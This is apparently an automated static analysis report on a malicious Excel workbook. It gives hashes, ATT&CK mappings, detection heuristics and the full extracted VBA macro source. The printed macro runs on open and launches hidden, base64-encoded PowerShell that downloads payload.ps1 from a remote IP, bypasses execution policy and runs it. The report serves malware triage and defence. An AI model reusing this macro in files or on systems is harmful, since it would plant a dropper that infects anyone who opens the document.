Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3b51b3b0a5ac1341…

MALICIOUS

Office (OOXML)

12.6 KB Created: 2021-06-02 20:16:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-13
MD5: dbfa8a5c40b448e4bf070e1fd789c2f8 SHA-1: efc01fcbecc4d40772dc09f86694aac4febc4067 SHA-256: 3b51b3b0a5ac13419706d4d5eb1595b3021213bf58e0ec977a3437fddf1eccc4
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is an Office document containing VBA macros. The Workbook_Open macro triggers the execution of PowerShell commands, including one that downloads a payload from 'http://13.65.234.194:443/payload.ps1' and saves it to 'C:\Temp\payload.ps1'. The script then executes this downloaded payload. This indicates a downloader or droppper functionality.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
    Set WshShell = CreateObject(“Wscript.Shell”)
    Set WshShellExec = WshShell.Exec(strCommand)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
    strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
    Set WshShell = CreateObject(“Wscript.Shell”)
    Set WshShellExec = WshShell.Exec(strCommand)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
    RunAndGetCmd
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1608 bytes
SHA-256: 4d5500f20cc42bbeb651bb6a39b077012086bf69e4e4ac6d02eb58bc4efb3779
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
RunAndGetCmd
End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
 

Attribute VB_Name = "Módulo1"
Sub RunAndGetCmd()

strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=”
Set WshShell = CreateObject(“Wscript.Shell”)
Set WshShellExec = WshShell.Exec(strCommand)
Set WshShellExec = WshShell.Exec(strCommand2)
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run (“powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBXAGkAbgBkAG8AdwBzAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQAgAGMAOgBcAFQAZQBtAHAAXABwAGEAeQBsAG8AYQBkAC4AcABzADEA”)
strOutput = WshShellExec.StdOut.ReadAll

End Sub

Attribute VB_Name = "Módulo2"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13312 bytes
SHA-256: 072d14abc254363498e08976015d7268f645602276a4f247c4a826c81b6e3395
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 3 long base64-like blob(s).